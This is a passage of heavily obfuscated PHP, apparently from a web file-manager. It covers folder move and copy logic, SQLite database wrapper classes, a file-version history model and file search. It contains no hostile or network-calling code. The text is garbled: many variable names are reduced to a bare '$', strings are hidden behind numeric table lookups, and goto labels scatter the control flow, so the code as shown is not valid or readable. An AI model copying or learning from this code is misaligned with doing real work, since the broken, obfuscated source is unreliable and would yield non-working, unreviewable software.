$یҢ; } $this->updateModifyTime($); Model($烌[572])->eventMove($یҢ, $Ȇ[$烌[503]], $Ϯ); Hook::trigger($烌[599], $ѩ); return $; } private function _move($, $Մ, $ғ, &$, $« = '') { $ɍ =& $_SERVER[Ȣ]; $ = $this->sourceInfo($); $ = $[$ɍ[416]] == $ɍ[99]; $˴ = $« ? $« : $[$ɍ[32]]; $ݪ = $this->fileNameExistCache($Մ, $˴); $this->lockMoveStart($); $this->lockWriteStart($Մ, $˴); if (!$ݪ) { return $this->_moveForce($, $Մ, $˴); } $Е܌ = $ݪ; $և٨ = !1; if ($) { if ($ғ == REPEAT_RENAME_FOLDER) { $˴ = $this->fileNameAuto($Մ, $˴, $ғ, $); $Е܌ = $this->_moveForce($, $Մ, $˴); } else { if ($ғ == REPEAT_RENAME_FOLDER) { $ғ = REPEAT_RENAME; } $ = $this->_childrenListSelect($); foreach ($ as $ײ) { $this->_move($ײ[$ɍ[408]], $ݪ, $ғ, $); } $և٨ = !0; } } else { if ($ғ == REPEAT_SKIP) { $և٨ = !0; } else { if ($ғ == REPEAT_RENAME || $ғ == REPEAT_RENAME_FOLDER) { $˴ = $this->fileNameAuto($Մ, $˴, $ғ, $); $Е܌ = $this->_moveForce($, $Մ, $˴); } else { if ($ғ == REPEAT_REPLACE) { $҅ = $this->sourceInfoCache($ݪ); $ = $this->fileHistory($҅, $[$ɍ[472]], $[$ɍ[90]]); $և٨ = !0; if ($) { $[$ɍ[568]][] = $[$ɍ[472]]; } } } } } if ($և٨ && !$[$ɍ[600]]) { $[$ɍ[600]] = !0; } return $Е܌; } private function _moveForce($Ǫ, $̟, $¥) { $и =& $_SERVER[Ȣ]; $ֳ = $this->sourceInfo($Ǫ); $ٞ = $this->sourceInfo($̟); $ї܊ = $ֳ[$и[416]] == $и[99]; $Л = array($и[407] => $ٞ[$и[408]], $и[592] => $ٞ[$и[526]] . $ٞ[$и[408]] . $и[50], $и[588] => $ٞ[$и[417]], $и[589] => $ٞ[$и[510]], $и[591] => USER_ID, $и[426] => $¥); $ = $ֳ[$и[417]] == SourceModel::TYPE_GROUP && $ٞ[$и[417]] == SourceModel::TYPE_GROUP && $ֳ[$и[510]] == $ٞ[$и[510]]; if (!$ && $this->moveClearAuth) { Model($и[507])->authClear($Ǫ); } $ş = $ֳ[$и[436]] == $и[99] && $ٞ[$и[436]] != $и[99]; if ($ş) { $Л[$и[435]] = 0; } if ($ї܊) { $ = array($и[592] => array($и[552], $ֳ[$и[526]] . $ֳ[$и[408]] . $и[553])); $ = $ֳ[$и[526]] . $ֳ[$и[408]] . $и[50]; $ = $ٞ[$и[526]] . $ٞ[$и[408]] . $и[50] . $ֳ[$и[408]] . $и[50]; $ = array($и[592] => array($и[601], "\x72\145\160\x6c\141\x63\x65\50\160\x61\162\145\156\164\x4c\145\x76\145\154\54\x27{$}\x27\54\x27{$}\47\x29"), $и[588] => $ٞ[$и[417]], $и[589] => $ٞ[$и[510]]); if ($ş) { $[$и[435]] = 0; } $this->where($)->data($)->save(); } $this->where(array($и[423] => $Ǫ))->data($Л)->save(); return $Ǫ; } private function clearShare($Ƭ, $ӂ) { $ғ =& $_SERVER[Ȣ]; $ņʹ = $this->sourceInfo($Ƭ); $ = $this->sourceInfo($ӂ); if ($ņʹ[$ғ[510]] == $[$ғ[510]] && $ņʹ[$ғ[417]] == $ғ[602]) { return; } $ӆ = array($ғ[526] => array($ғ[552], $ņʹ[$ғ[526]] . $Ƭ . $ғ[553])); $Ի = $this->field($ғ[423])->where($ӆ)->getField($ғ[408], !0); if (!$Ի) { return; } $ӆ = array($ғ[408] => array($ғ[7], $Ի), $ғ[500] => 1); $ = Model($ғ[603])->field($ғ[493])->where($ӆ)->select(); if (!$) { return; } $ = array_to_keyvalue($, $ғ[12], $ғ[493]); $ӆ = array($ғ[493] => array($ғ[7], $)); Model($ғ[603])->where($ӆ)->save(array($ғ[500] => 0)); Model($ғ[604])->where($ӆ)->delete(); } public function copyFolderFromIO($ڟ, $, $, $, $, $Ⱥ = false) { $ =& $_SERVER[Ȣ]; $ܻ = array($[569] => array(), $[570] => array(), $[568] => array(), $[605] => array()); $ = $Ⱥ ? $Ⱥ : $ڟ->pathThis($); $ = $this->fileNameExist($, $); $兙 = $this->mkdir($, $, $); if (!$ || $ == REPEAT_RENAME_FOLDER) { $ = !1; } if ($) { $this->_childrenAllMake($); } Hook::trigger($[606]); $this->_copyChildTo($ڟ, $, $兙, $, $ܻ, $); Hook::trigger($[607]); if ($兙) { $this->folderSizeResetChildren($兙); } $this->_childrenListClear(); Model($[571])->addAll($ܻ[$[569]], array(), !0); Model($[572])->eventCopy($兙); $this->saveAll($ܻ[$[570]]); Model($[475])->linkAdd($ܻ[$[568]]); Model($[475])->remove($ܻ[$[605]]); $this->folderSizeReset($); $this->updateModifyTime($); return $兙; } private function _copyChildTo($, $, $, $, &$, $) { $þҤ =& $_SERVER[Ȣ]; $Ű = $this->sourceInfoCache($); $ = $->listPath($); $ = $ ? $ : array($þҤ[86] => array(), $þҤ[87] => array()); $ = array_merge($[$þҤ[86]], $[$þҤ[87]]); $Ԡ = $this->_addFiles($, $[$þҤ[86]], $); $ = array(); foreach ($ as &$) { if (isset($Ԡ[$[$þҤ[32]]])) { $ = $Ԡ[$[$þҤ[32]]]; } $[$þҤ[416]] = $[$þҤ[33]] == $þҤ[89]; $[$þҤ[418]] = _get($, $þҤ[181], $þҤ[12]); $[$þҤ[90]] = _get($, $þҤ[90], 0); $[$þҤ[472]] = _get($, $þҤ[472], 0); if (!isset($[$þҤ[608]]) && $[$þҤ[472]]) { $[$þҤ[605]][] = $[$þҤ[472]]; } if ($) { $㻭Ξ = $this->fileNameExistCache($, $[$þҤ[32]]); if ($㻭Ξ) { if ($[$þҤ[416]] || $ == REPEAT_SKIP) { continue; } if ($ == REPEAT_REPLACE) { $жք = $this->sourceInfoCache($㻭Ξ); $ = $this->fileHistory($жք, $[$þҤ[472]], $[$þҤ[90]]); if ($) { $[$þҤ[568]][] = $[$þҤ[472]]; } continue; } else { if ($ == REPEAT_RENAME) { $[$þҤ[32]] = $this->fileNameAutoCache($, $[$þҤ[32]], $, !1); } } } } if (!$[$þҤ[416]] && $[$þҤ[472]] == 0) { continue; } if (!$[$þҤ[416]] && $[$þҤ[472]]) { $[$þҤ[568]][] = $[$þҤ[472]]; } $[] = $this->_makeItemData($, $Ű, $[$þҤ[32]]); } unset($); if (!empty($)) { $this->addAll($); $this->_childrenListSelect($); } $̴ = $this->_childrenList($); $̴ = array_to_keyvalue($̴, $þҤ[32]); foreach ($ as $) { $жք = $̴[$[$þҤ[32]]]; $Г = $жք[$þҤ[408]]; $this->_copyApplyMeta($жք, $); if ($[$þҤ[33]] == $þҤ[89]) { $[$þҤ[88]] = $->getPathInner($[$þҤ[88]]); $this->_copyChildTo($, $[$þҤ[88]], $Г, $, $, $); } } } private function _addFiles($ޘ, $ג, $Ʌג) { $ =& $_SERVER[Ȣ]; if (!$ג || count($ג) == 0) { return array(); } $ = array(); foreach ($ג as &$ʅ) { Hook::trigger($[609], $ʅ); $ʅ[$[88]] = $ޘ->getPathInner($ʅ[$[88]]); $Ή = $ޘ->hashSimple($ʅ[$[88]]); $쀰 = $ޘ->hashMd5($ʅ[$[88]]); if (strlen($쀰) > 10 && !isset($[$쀰])) { $[$쀰] = array(); } $ʅ[$[184]] = $Ή; $ʅ[$[183]] = $쀰; Hook::trigger($[610], $ʅ); $[$쀰][] =& $ʅ; if (count($[$쀰]) > 1) { $ʅ[$[608]] = !0; } } unset($ʅ); $ = array($[183] => array($[7], array_keys($))); $ = Model($[611]); $鑳 = $->where($)->select(); $鑳 = $鑳 ? $鑳 : array(); foreach ($鑳 as $) { if (!isset($[$[$[183]]])) { continue; } $𥡕 = $[$[$[183]]]; foreach ($𥡕 as &$ʅ) { $ʅ[$[472]] = $[$[472]]; $ʅ[$[608]] = !0; } unset($ʅ); } $ = array(); foreach ($ג as $) { if (isset($[$[608]]) && $[$[608]]) { continue; } $ = $ޘ->getPathInner($[$[88]]); $ʼn = $->addFileMake($, $[$[90]], $[$[184]], $[$[183]], $[$[32]], $Ʌג); if (!is_array($ʼn)) { continue; } $[] = $ʼn; } $->addAll($); $ = array($[183] => array($[7], array_keys($))); $鑳 = $->where($)->select(); $鑳 = $鑳 ? $鑳 : array(); foreach ($鑳 as $) { if (!isset($[$[$[183]]])) { continue; } $ =& $[$[$[183]]]; foreach ($ as &$ʅ) { $ʅ[$[472]] = $[$[472]]; } unset($ʅ); } $ = array(); foreach ($ג as $) { $[$[$[32]]] = $; } return $; } } goto b枯; aև: class Controller extends ClassBaseCall { public $in; public $config; public $tpl; public $values; function __construct() { $° =& $_SERVER[Ȣ]; global $in, $config; $this->config =& $config; $this->in =& $in; $this->values[$°[6]] =& $config; $this->values[$°[7]] =& $in; $this->tpl = TEMPLATE . MOD . $°[8]; $this->_classObjectID = mt_rand(0, 10000); } public function loadClass($ӕ۟) { if (1 === func_num_args()) { $this->{$ӕ۟} = new $ӕ۟(); } else { $ = new ReflectionClass($ӕ۟); $ = func_get_args(); array_shift($); $this->{$ӕ۟} = $->newInstanceArgs($); } return $this->{$ӕ۟}; } public function routeBind($ζ, $, $Ƃ = 3) { $ =& $_SERVER[Ȣ]; $ = $this->in[$[9]]; $ζ = str_replace($[10], $[11], trim(trim($ζ, $[8]), $[12])); if (!$ζ || count($) <= $Ƃ) { return !1; } $ډ࣮ = !0; $ = explode($[8], $ζ); for ($ܓܛ = 0; $ܓܛ < count($); $ܓܛ++) { if ($[$ܓܛ] != $[$Ƃ + $ܓܛ]) { $ډ࣮ = !1; break; } } if (!$ډ࣮) { return; } call_user_func_array(array($this, $), array()); } public function routeArgs($ڟ = 3) { $ڱ = $this->in[$_SERVER[Ȣ][9]]; if (count($ڱ) <= $ڟ) { return array(); } $ܣ = array(); for ($º = $ڟ; $º < count($ڱ); $º += 2) { $ܣ[$ڱ[$º]] = $ڱ[$º + 1]; $this->in[$ڱ[$º]] = $ڱ[$º + 1]; } return $ܣ; } protected function assign($, $ҏ) { $this->values[$] = $ҏ; } protected function display($) { ob_end_clean(); extract($this->values); require $this->tpl . $; } } class DbSqliteBase extends Db { public function __construct($ = '') { $ =& $_SERVER[Ȣ]; if (!extension_loaded($[13])) { think_exception(think_lang($[14]) . $[15]); } if (!empty($)) { if (!isset($[$[16]])) { $[$[16]] = 438; } $this->config = $; if (empty($this->config[$[17]])) { $this->config[$[17]] = array(); } } } public function connect($ٟ = '', $ë = 0) { $ =& $_SERVER[Ȣ]; if (!isset($this->linkID[$ë])) { if (empty($ٟ)) { $ٟ = $this->config; } $콃 = !empty($ٟ[$[17]][$[18]]) ? $ٟ[$[17]][$[18]] : $this->pconnect; $ = $콃 ? $[19] : $[20]; $this->linkID[$ë] = $($ٟ[$[21]], $ٟ[$[16]]); if (!$this->linkID[$ë]) { think_exception(sqlite_error_string()); } $this->connected = !0; @sqlite_busy_timeout($this->linkID[$ë], 30000); if (1 != think_config($[22])) { unset($this->config); } } return $this->linkID[$ë]; } public function free() { $this->queryID = null; } public function query($ڀ) { $ =& $_SERVER[Ȣ]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $ڀ; if ($this->queryID) { $this->free(); } think_action_status($[23], 1); think_status($[24]); $this->queryID = sqlite_query($this->_linkID, $ڀ); $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = sqlite_num_rows($this->queryID); $ = $this->getAll(); return $; } } public function execute($ݗݿ) { $ =& $_SERVER[Ȣ]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $ݗݿ; if ($this->queryID) { $this->free(); } think_action_status($[25], 1); think_status($[24]); $ß = sqlite_exec($this->_linkID, $ݗݿ); $this->debug(); if (!1 === $ß) { $this->error(); return !1; } else { $this->numRows = sqlite_changes($this->_linkID); $this->lastInsID = sqlite_last_insert_rowid($this->_linkID); return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { sqlite_query($this->_linkID, $_SERVER[Ȣ][26]); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ۃϔ = sqlite_query($this->_linkID, $_SERVER[Ȣ][27]); if (!$ۃϔ) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } public function rollback() { if ($this->transTimes > 0) { $ծ = sqlite_query($this->_linkID, $_SERVER[Ȣ][28]); if (!$ծ) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } private function getAll() { $ƞ = array(); if ($this->numRows > 0) { for ($Ӽ = 0; $Ӽ < $this->numRows; $Ӽ++) { $ƞ[$Ӽ] = sqlite_fetch_array($this->queryID, SQLITE_ASSOC); } sqlite_seek($this->queryID, 0); } return $ƞ; } public function getFields($) { $䇇 =& $_SERVER[Ȣ]; $ş = $this->query($䇇[29] . $ . $䇇[30]); $ʷ = array(); if ($ş) { foreach ($ş as $ => $܊) { $ʷ[$܊[$䇇[31]]] = array($䇇[32] => $܊[$䇇[31]], $䇇[33] => $܊[$䇇[34]], $䇇[35] => (bool) ($܊[$䇇[36]] === $䇇[12]), $䇇[37] => $܊[$䇇[38]], $䇇[39] => strtolower($܊[$䇇[40]]) == $䇇[41], $䇇[42] => strtolower($܊[$䇇[43]]) == $䇇[44]); } } return $ʷ; } public function getTables($ = '') { $ =& $_SERVER[Ȣ]; $ = $this->query($[45] . $[46] . $[47]); $ = array(); foreach ($ as $« => $) { $[$«] = current($); } return $; } public function close() { if ($this->_linkID) { sqlite_close($this->_linkID); } $this->_linkID = null; } public function error() { $ =& $_SERVER[Ȣ]; $ = sqlite_last_error($this->_linkID); $this->error = $ . $[4] . sqlite_error_string($); if ($[12] != $this->queryStr) { $this->error .= LNG($[48]) . $this->queryStr; } think_trace($this->error, $[12], $[49]); return $this->error; } public function escapeString($ܓ) { return sqlite_escape_string($ܓ); } public function parseLimit($躁) { $ =& $_SERVER[Ȣ]; $Ҡ = $[12]; if (!empty($躁)) { $躁 = explode($[50], $躁); if (count($躁) > 1) { $Ҡ .= $[51] . $躁[1] . $[52] . $躁[0] . $[53]; } else { $Ҡ .= $[51] . $躁[0] . $[53]; } } return $Ҡ; } } class DbSqlite3Base extends Db { public function __construct($ = '') { $ =& $_SERVER[Ȣ]; if (!class_exists($[54])) { think_exception(think_lang($[14]) . $[55]); } if (!empty($)) { if (!isset($[$[16]])) { $[$[16]] = 438; } $this->config = $; if (empty($this->config[$[17]])) { $this->config[$[17]] = array(); } } } public function connect($Ȣή = '', $ܲߏ = 0) { $ԭ =& $_SERVER[Ȣ]; if (!isset($this->linkID[$ܲߏ])) { if (empty($Ȣή)) { $Ȣή = $this->config; } $this->linkID[$ܲߏ] = new SQLite3($Ȣή[$ԭ[21]]); if (!$this->linkID[$ܲߏ]) { think_exception($this->linkID[$ܲߏ]->lastErrorMsg()); } $this->connected = !0; @$this->linkID[$ܲߏ]->busyTimeout(30000); if (1 != think_config($ԭ[22])) { unset($this->config); } } return $this->linkID[$ܲߏ]; } public function free() { $this->queryID = null; } public function query($ػ) { $Ȋ =& $_SERVER[Ȣ]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $ػ; if ($this->queryID) { $this->free(); } think_action_status($Ȋ[23], 1); think_status($Ȋ[24]); $this->queryID = $this->_linkID->query($ػ); $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $ִ = $this->getAll(); $this->numRows = count($ִ); return $ִ; } } public function execute($Ӌ) { $ =& $_SERVER[Ȣ]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $Ӌ; if ($this->queryID) { $this->free(); } think_action_status($[25], 1); think_status($[24]); $ = $this->_linkID->exec($Ӌ); $this->debug(); if (!1 === $) { $this->error(); return !1; } else { $this->numRows = $this->_linkID->changes(); $this->lastInsID = $this->_linkID->lastInsertRowID(); return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { $this->_linkID->query($_SERVER[Ȣ][26]); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ = $this->_linkID->query($_SERVER[Ȣ][27]); if (!$) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } public function rollback() { if ($this->transTimes > 0) { $ = $this->_linkID->query($_SERVER[Ȣ][28]); if (!$) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } private function getAll() { $ = array(); while ($寖 = $this->queryID->fetchArray(SQLITE3_ASSOC)) { $[] = $寖; } $this->queryID->reset(); return $; } public function getFields($؎) { $ި =& $_SERVER[Ȣ]; $ﯘ = $this->query($ި[29] . $؎ . $ި[30]); $Ĥ = array(); if ($ﯘ) { foreach ($ﯘ as $Ԫ => $鹻) { $Ĥ[$鹻[$ި[32]]] = array($ި[32] => $鹻[$ި[32]], $ި[33] => $鹻[$ި[33]], $ި[35] => (bool) ($鹻[$ި[35]] === $ި[12]), $ި[37] => $鹻[$ި[56]], $ި[39] => (bool) $鹻[$ި[57]], $ި[42] => (bool) $鹻[$ި[57]]); } } return $Ĥ; } public function getTables($ = '') { $٬ =& $_SERVER[Ȣ]; $э = $this->query($٬[45] . $٬[46] . $٬[47]); $ = array(); foreach ($э as $Ӝ܅ => $) { $[$Ӝ܅] = current($); } return $; } public function close() { if ($this->_linkID) { $this->_linkID->close(); } $this->_linkID = null; } public function error() { $ =& $_SERVER[Ȣ]; $this->error = $this->_linkID->lastErrorMsg(); if ($[12] != $this->queryStr) { $this->error .= LNG($[48]) . $this->queryStr; } think_trace($this->error, $[12], $[49]); return $this->error; } public function escapeString($) { $ =& $_SERVER[Ȣ]; if ($this->_linkID) { return $this->_linkID->escapeString($); } return str_ireplace($[58], $[59], $); } public function parseLimit($) { $ =& $_SERVER[Ȣ]; $笥 = $[12]; if (!empty($)) { $ = explode($[50], $); if (count($) > 1) { $笥 .= $[51] . $[1] . $[52] . $[0] . $[53]; } else { $笥 .= $[51] . $[0] . $[53]; } } return $笥; } } goto EȄ; B͢ߙ: class SourceHistoryModel extends ModelBase { protected $tableName = "\x69\x6f\137\x73\157\x75\162\143\145\x5f\150\x69\163\x74\157\x72\x79"; public function historyCount($) { $ =& $_SERVER[Ȣ]; if (!$) { return array(); } if (is_string($) || is_int($)) { $ = array($); } $ = array($[408], $[1866] => $[505]); $Ҁ = array($[408] => array($[7], $)); $ߵ = $this->field($)->where($Ҁ)->group($[408])->select(); return array_to_keyvalue($ߵ, $[408], $[505]); } public function addHistory($, $ט = '') { $Ჵ =& $_SERVER[Ȣ]; $벁 = array($Ჵ[423] => $[$Ჵ[408]], $Ჵ[1657] => isset($[$Ჵ[459]]) ? $[$Ჵ[459]] : $[$Ჵ[457]], $Ჵ[473] => $[$Ჵ[472]], $Ჵ[587] => $[$Ჵ[90]], $Ჵ[2069] => $ט); $ = $GLOBALS[$Ჵ[6]][$Ჵ[100]][$Ჵ[1219]]; if ($ > 1) { $this->historyAutoClear($벁[$Ჵ[408]]); $this->add($벁); } Hook::trigger($Ჵ[2070], $벁); Model($Ჵ[2071])->eventFileEdit($[$Ჵ[408]]); } private function historyAutoClear($) { $ =& $_SERVER[Ȣ]; $ҋ = Model($[787])->get($[1241]); $ = $GLOBALS[$[6]][$[100]][$[1219]]; $ = $ҋ == $[1242] ? 5 : $; if ($ <= 1) { $ = 1; } if ($ >= 500) { return; } $ȭ = array($[423] => $); $ = $this->field($[2072])->where($ȭ)->order($[2066])->select(); if (!$ || $ >= count($)) { return; } $ = array_to_keyvalue($, $[12], $[405]); $ = array_slice($, $); $ތ = array_to_keyvalue($, $[12], $[472]); $ތ = array_slice($ތ, $); if (!$ || !$ތ) { return; } $ȭ = array($[425] => array($[7], $)); $this->where($ȭ)->delete(); Model($[475])->remove($ތ); } public function listData($) { $ =& $_SERVER[Ȣ]; $ = array($[423] => $); $ꋙ = $[2073]; $ = $this->field($ꋙ)->where($)->order($[2066])->selectPage(); $this->_listAppendUser($[$[377]]); $ = Model($[787])->get($[1241]); $ӟ = 5; if ($ == $[1242]) { $[$[377]] = array_slice($[$[377]], 0, $ӟ); $[$[374]] = array($[2074] => 1, $[2075] => 20, $[2076] => 1, $[2077] => count($[$[377]])); } return $; } protected function _listAppendUser(&$) { $ώ =& $_SERVER[Ȣ]; $ = array_to_keyvalue($, $ώ[12], $ώ[1666]); $ = Model($ώ[546])->userListInfo($); foreach ($ as &$ڷɱ) { $ɳ = $ڷɱ[$ώ[1666]]; $ڷɱ[$ώ[457]] = $[$ɳ] ? $[$ɳ] : !1; } unset($ڷɱ); } public function fileInfo($ȯ) { $Ȩ =& $_SERVER[Ȣ]; $ = $this->tablePrefix; $뗵 = "{$}\151\x6f\137\x66\151\x6c\145\40\x66\x69\x6c\145\163\40\157\156\40\146\151\154\145\x73\x2e\x66\151\x6c\145\x49\x44\40\75\40\x68\151\163\164\157\x72\171\56\146\x69\x6c\145\x49\104"; return $this->alias($Ȩ[2078])->where(array($Ȩ[425] => $ȯ))->join($뗵, $Ȩ[2079])->find(); } public function removeItem($) { $Ѻ =& $_SERVER[Ȣ]; $籩 = array($Ѻ[425] => $); $됋 = $this->where($籩)->find(); if ($됋) { $˱ = $this->where($籩)->delete(); Model($Ѻ[475])->remove($됋[$Ѻ[472]]); return $˱; } return !1; } public function removeBySource($) { $ʹ =& $_SERVER[Ȣ]; if (!$) { return !1; } if (!is_array($)) { $ = array($); } $ = array($ʹ[423] => array($ʹ[7], $)); $溮 = $this->field($ʹ[473])->where($)->select(); if ($溮) { $this->where($)->delete(); $ = array_to_keyvalue($溮, $ʹ[12], $ʹ[472]); Model($ʹ[475])->remove($); } return !0; } public function setDetail($, $) { $ =& $_SERVER[Ȣ]; return $this->where(array($[425] => $))->save(array($[2069] => $)); } public function rollbackToItem($, $㩐) { $Ӝ =& $_SERVER[Ȣ]; $ = Model($Ӝ[842])->sourceInfo($); $this->addHistory($, LNG($Ӝ[2080])); $ = $this->find($㩐); $ŧ㊽ = array($Ӝ[472] => $[$Ӝ[472]], $Ӝ[90] => $[$Ӝ[90]], $Ӝ[96] => time(), $Ӝ[459] => USER_ID); Model($Ӝ[842])->where(array($Ӝ[408] => $))->save($ŧ㊽); return $this->where(array($Ӝ[425] => $㩐))->delete(); } public function clearSame($Ժλ) { $ͧ =& $_SERVER[Ȣ]; $ڊ = $this->listData($Ժλ); $ꌵ = array_to_keyvalue_group($ڊ, $ͧ[472]); $¡ = array(); $ޙ = array(); foreach ($ꌵ as $ݺ) { if (!$ݺ || count($ݺ) <= 1) { continue; } foreach ($ݺ as $) { $¡[] = $[$ͧ[472]]; $ޙ[] = $[$ͧ[405]]; } } if (!$ޙ) { return; } $this->where(array($ͧ[405] => array($ͧ[7], $ޙ)))->delete(); Model($ͧ[475])->remove($¡); } public function userSpace() { $җ =& $_SERVER[Ȣ]; $ܱ = $this->tablePrefix; $ձ = array($җ[1657] => USER_ID); $ޝ = "{$ܱ}\151\x6f\137\x66\151\x6c\145\x20\x66\151\x6c\145\x73\x20\x6f\x6e\x20\146\151\154\145\163\56\x66\151\x6c\x65\x49\x44\40\75\40\x68\151\x73\164\157\162\171\56\x66\151\x6c\145\111\104"; return $this->alias($җ[2078])->where($ձ)->join($ޝ, $җ[2079])->sum($җ[90]); } } class SourceListSearchModel extends SourceListMoveModel { public static function fileTypeWhere($) { $䏽 =& $_SERVER[Ȣ]; $ = KodIO::fileTypeList(); $û = $[$]; if (!$û) { return array(); } $ = $û[$䏽[181]]; $Ղ = $䏽[7]; if (!$û[$䏽[181]]) { $ = array_to_keyvalue($, $䏽[12], $䏽[181]); $ = implode($䏽[50], $); $Ղ = $䏽[2081]; } $ޅۛ = explode($䏽[50], trim($, $䏽[50])); return array($Ղ, $ޅۛ); } public function listPathType($‶״) { $沝 =& $_SERVER[Ȣ]; $ = $this->fileTypeWhere($‶״); if (!$) { return array(); } $̿ = array($沝[588] => SourceModel::TYPE_USER, $沝[589] => USER_ID, $沝[585] => 0, $沝[586] => $); return $this->listSource($̿); } public function listSearch($, $، = 300) { $ =& $_SERVER[Ȣ]; if (isset($[$[1927]]) && $[$[1927]]) { $[$[1927]] = str_replace($[392], $[2082], trim($[$[1927]])); } $ѝՖ = $this->_parseSearchWhere($); $ح = $ѝՖ; if (!isset($ѝՖ[$[436]])) { $ѝՖ[$[436]] = 0; } $ = $[2083]; $ޱ = $; $this->_listSearchBindPinyin($, $ѝՖ, $); $this->alias($[449])->_makeOrder(); $ѝՖ = $this->parseWhereLike($ѝՖ); $ʫ = $this->distinct(!0)->field($)->where($ѝՖ)->selectPage($،); $this->_listSearchFileContent($ʫ, $, $ޱ, $ح); $this->_listSearchDesc($ʫ, $, $ޱ); $this->_listSearchTag($ʫ, $, $ޱ); $this->_listSearchGroupTag($ʫ, $, $ޱ); $this->_listDataApply($ʫ[$[377]]); $this->_listMake($ʫ); return $ʫ; } private function _listSearchFileContent(&$Éƥ, $, $ē, $ݵ) { $ =& $_SERVER[Ȣ]; if (!$[$[1927]] || $Éƥ[$[374]][$[361]] > 1) { return; } if (!isset($ݵ[$[32]]) || !is_array($[$[472]])) { return; } $ݵ[$[472]] = array($[7], $[$[472]]); unset($ݵ[$[32]]); unset($[$[472]]); $Ү = $this->field($ē)->where($ݵ)->limit($[2084])->select(); if (!$Ү || count($Ү) == 0) { return; } $Éƥ[$[377]] = array_merge($Ү, $Éƥ[$[377]]); $Éƥ[$[374]][$[375]] += count($Ү); } private function _listSearchTag(&$ոDz, $ڀ, $ㇷۯ) { $Ĺ =& $_SERVER[Ȣ]; if (!$ڀ[$Ĺ[1927]] || $ոDz[$Ĺ[374]][$Ĺ[361]] > 1) { return; } $ᕙ = Model($Ĺ[2085])->listData(); $ʪ = array(); $֝ = $ڀ[$Ĺ[1927]]; foreach ($ᕙ as $) { $ѩ = $[$Ĺ[32]]; $̔ = str_replace($Ĺ[53], $Ĺ[12], Pinyin::get($ѩ)); if (stripos($ѩ, $֝) !== !1 || stripos($̔, $֝) !== !1) { $ʪ[] = $[$Ĺ[405]]; } } if (!$ʪ) { return; } $˙ = array($Ĺ[432] => array($Ĺ[7], $ʪ), $Ĺ[1666] => USER_ID); $ĕ = Model($Ĺ[433])->field($Ĺ[88])->where($˙)->select(); $ĕ = array_to_keyvalue($ĕ, $Ĺ[12], $Ĺ[88]); $徜ό = array_unique($ĕ); $this->_listSearchMerge($ոDz, $ڀ, $ㇷۯ, $徜ό); } private function _listSearchDesc(&$, $Ȓ, $흭) { $Ԟ =& $_SERVER[Ȣ]; if (!$Ȓ[$Ԟ[1927]] || $[$Ԟ[374]][$Ԟ[361]] > 1) { return; } $ݖ = $this->listSearchChildren($Ȓ[$Ԟ[503]]); $ݖ = array_unique($ݖ); if (!$ݖ) { return; } $ = array($Ԟ[408] => array($Ԟ[7], $ݖ), $Ԟ[105] => $Ԟ[456], $Ԟ[382] => array($Ԟ[391], $Ԟ[1929] . $Ȓ[$Ԟ[1927]] . $Ԟ[1929])); $Ȥ = Model($Ԟ[571])->field($Ԟ[408])->where($)->select(); $ = array_to_keyvalue($Ȥ, $Ԟ[12], $Ԟ[408]); $this->_listSearchMerge($, $Ȓ, $흭, $); } private function _listSearchGroupTag(&$ʫ몃, $е, $֊) { $̎ =& $_SERVER[Ȣ]; if (!$е[$̎[1927]] || $ʫ몃[$̎[374]][$̎[361]] > 1 || !$е[$̎[503]]) { return; } $ = $this->sourceInfo($е[$̎[503]]); if (!$ || $[$̎[417]] != SourceModel::TYPE_GROUP) { return; } $ = $[$̎[510]]; $̬ = Model($̎[2086])->get($); $ = array(); $ = $е[$̎[1927]]; foreach ($̬[$̎[377]] as $) { $ = $[$̎[32]]; $Ȧ = str_replace($̎[53], $̎[12], Pinyin::get($)); if (stripos($, $) !== !1 || stripos($Ȧ, $) !== !1) { $[] = $[$̎[405]]; } } if (!$) { return; } $ = array($̎[432] => array($̎[7], $), $̎[1666] => 0, $̎[33] => $̎[1949] . $); $ = Model($̎[433])->field($̎[88])->where($)->select(); $ = array_to_keyvalue($, $̎[12], $̎[88]); $孯 = array_unique($); $this->_listSearchMerge($ʫ몃, $е, $֊, $孯); } private function _listSearchMerge(&$, $, $, $ϛΜ) { $Б =& $_SERVER[Ȣ]; if (!$ϛΜ) { return; } $ٲ = array_to_keyvalue($[$Б[377]], $Б[12], $Б[408]); $ = array_diff($ϛΜ, $ٲ); if (!$) { return; } $ = array($Б[408] => array($Б[7], $)); $Մ = $this->field($)->where($)->select(); if (!$Մ) { return; } $ = array(); foreach ($Մ as $) { if ($this->_listSearchFilter($, $)) { $[] = $; } } $[$Б[377]] = array_merge($, $[$Б[377]]); $[$Б[374]][$Б[375]] += count($); } private function _listSearchFilter($һ, $) { $ =& $_SERVER[Ȣ]; $߂ = $һ[$[416]] == $[99]; if (!strstr($һ[$[526]], $[50] . $[$[503]] . $[50])) { return !1; } if (isset($[$[418]]) && $[$[418]] != $[1888]) { if ($[$[418]] == $[89] && !$߂) { return !1; } if ($[$[418]] != $[89] && $߂) { return !1; } if (!strstr($һ[$[181]], $[50] . $[$[418]] . $[50])) { return !1; } } if (isset($[$[2087]]) && $[$[2087]] < $һ[$[90]]) { return !1; } if (isset($[$[2088]]) && $[$[2088]] > $һ[$[90]]) { return !1; } if (isset($[$[602]]) && $[$[602]] != $һ[$[459]]) { return !1; } return !0; } public function listSearchChildren($յ, $ = 5000) { $ʩ =& $_SERVER[Ȣ]; $䅲 = array(); $˰ǎ = $this->sourceInfo($յ); $ү = array($ʩ[526] => array($ʩ[391], $˰ǎ[$ʩ[526]] . $˰ǎ[$ʩ[408]] . $ʩ[553])); $슂 = $this->field($ʩ[90])->where($ү)->limit($ + 1)->select(); $ = is_array($슂) ? 